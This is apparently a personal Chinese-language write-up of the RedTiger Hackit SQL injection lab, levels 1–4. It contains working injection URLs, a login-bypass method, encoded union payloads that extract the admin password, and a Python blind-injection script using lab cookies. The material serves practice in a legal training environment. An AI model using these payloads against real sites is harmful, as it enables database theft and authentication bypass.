redtiger sql injection 练习
http://redtiger.labs.overthewire.org
参考:
https://juniorprincewang.github.io/2018/04/04/RedTiger-s-Hackit-writeup/
https://blog.spoock.com/2016/07/25/redtiger-writeup/
https://www.chainnews.com/articles/568076250754.htm
all level
level 1
有提示信息,username Hornoxe;tablename level1_users。
查看源码,一个post表单
点击category,url参数cat=1有回显,很明显cat参数是数字类型,手工测试cat参数
http://redtiger.labs.overthewire.org/level1.php?cat=1%20and%201=1
http://redtiger.labs.overthewire.org/level1.php?cat=1%20and%201=2
变化cat参数的真假,页面发生变化,并且条件为真时,页面有信息回显,说明cat参数存在sql 注入
判断返回前端信息的数据行数,当order by参数为1,2,3,4时页面正常返回,参数为5时页面返回This category does not exist!,说明返回前端页面的数据行数为4
http://redtiger.labs.overthewire.org/level1.php?cat=1%20order%20by%201 ......
通过union select确定回显数据位置, 3,4可以作为回显输出
http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,3,4
根据提示获得username和password
http://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
登录成功
level 2
提示为 loginbypass,从绕过的角度出发,要想任意用户和密码通过验证,就要让后台sql语句条件为真
brupsuite查看请求
判断username和password为字符型,尝试单引号闭合并构造or语句让username和password条件为真。成功绕过登录成功
level 3
观察url发现usr参数被加密,多次尝试username,password无果,查看别人解答,讲usr变成数组提交,成功报错
http://redtiger.labs.overthewire.org/level3.php?usr[]=123
页面报错
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 26
查找.inc文件的作用:inc 文件顾名思义是include file的意思。即PHP的包含文件,这里用后缀来表示文件的作用,inc文件一般加载一些设置
根据urlcrupt.inc的名字猜测该文件用来加密url,通过
http://redtiger.labs.overthewire.org/urlcrypt.inc
<?php // warning! ugly code ahead :) // requires php5.x, sorry for that function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ rand(0, 255); while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } function decrypt ($str) { srand(3284724); if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false; } ?>
将该文件导入到现有的php项目中使用encrypt函数加密我们的payload,不知道什么原因加密出来的和redtiger后台加密的结果好像不一样,无法完成注入
网上找到payload
Admin' MDQyMjExMDE0MTgyMTQwMTc0 Admin' and '1'='2 MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg5MjA0MTAxMjUzMjE5MDI0MjMyMDY2MDY2MjM3 Admin' and '1'='1 MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg5MjA0MTAxMjUzMjE5MDI0MjMyMDY2MDY2MjM4
Admin' order by 8# MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMxMDY2 # 报错 Admin' order by 7# MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDY2 # 不报错
Admin' union select 1,2,3,4,5,6,7# MDQyMjExMDE0MTgyMTQwMTc0MjIzMDc3MjA0MTA0MTc4MTQ2MDA5MTg4MDI2MDA5MTg2MDAyMjMzMDc0MDYwMTk5MjM3MjE5MDg3MjQ2MTU0MjA4MTc2MDk2MTMxMjIwMDUxMDU5
max' union select 1,2,3,4,5,6,7# MDA2MjE0MDI3MjQ4MTk0MjUyMTQ1MDgxMjA1MTExMjUzMTQzMDc2MTYzMDI2MDA2MTcxMDY1MTcyMDcwMDYzMTk5MjM2MjE5MDgwMjQ2MTU1MjA4MTc5MDk2MTMwMjEx
得到回显位为:2,4,5,6,7
# max' union select 1,2,3,4,5,6,password from level3_users where username='Admin'# MDA2MjE0MDI3MjQ4MTk0MjUyMTQ1MDgxMjA1MTExMjUzMTQzMDc2MTYzMDI2MDA2MTcxMDY1MTcyMDcwMDYzMTk5MjM2MjE5MDgwMjQ2MTU1MjA4MTc5MDk2MTk3MTQ1MTE5MTA3MTY3MTM3MjA4MTcxMDYyMDM0MTYyMTQ3MDQ0MjE4MTYwMTY1MDIyMjA2MDc4MjA1MDczMDY5MTUzMTQ3MDkwMDYxMjQwMTYwMDM0MDUxMDgxMTU0MTAzMDgyMTA3MTE0MTI0MjEzMTM0MDY0MTU0MTMzMDEzMDAwMjE0MTU1MTA3MTI1MTMzMDA2
知道password,直接泄露password
level 4
题目是让我们得到level4_secret表中keyword列的第一个值,手工注入id参数
http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=1 #返回Query returned 1 rows. http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=2 #返回Query returned 0 rows.
说明id参数存在布尔盲注,通过length判断keyword第一个值的长度
http://redtiger.labs.overthewire.org/level4.php?id=1 and (select length(keyword) from level4_secret limit 0,1) < 50
可使用脚本判断,得到keyword第一个值的长度为21
import requests get_url = "http://redtiger.labs.overthewire.org/level4.php?id=1 and (select length(keyword) from level4_secret limit 0,1) < {}" cookies = { 'level2login':'passwords_will_change_over_time_let_us_do_a_shitty_rhyme', 'level3login':'feed_the_cat_who_eats_your_bread', 'level4login':'put_the_kitten_on_your_head' } initial_len = 50 step = 1 length = (1+50)/2 while step <= initial_len: url = get_url.format(length) resp = requests.get(url, cookies=cookies) if resp.status_code != 200: print("[-] status code error") text = resp.text if text.find('Query returned 1 rows.') != -1: initial_len = length - 1 else: step = length + 1 length = (initial_len + step) / 2 print('[+] length = %d'%length)
继续使用脚本判断具体的21个字符
需要牢记:ASCII字符集由95个可打印字符(0x20-0x7E)和33个控制字符(0x00-0x19,0x7F)组成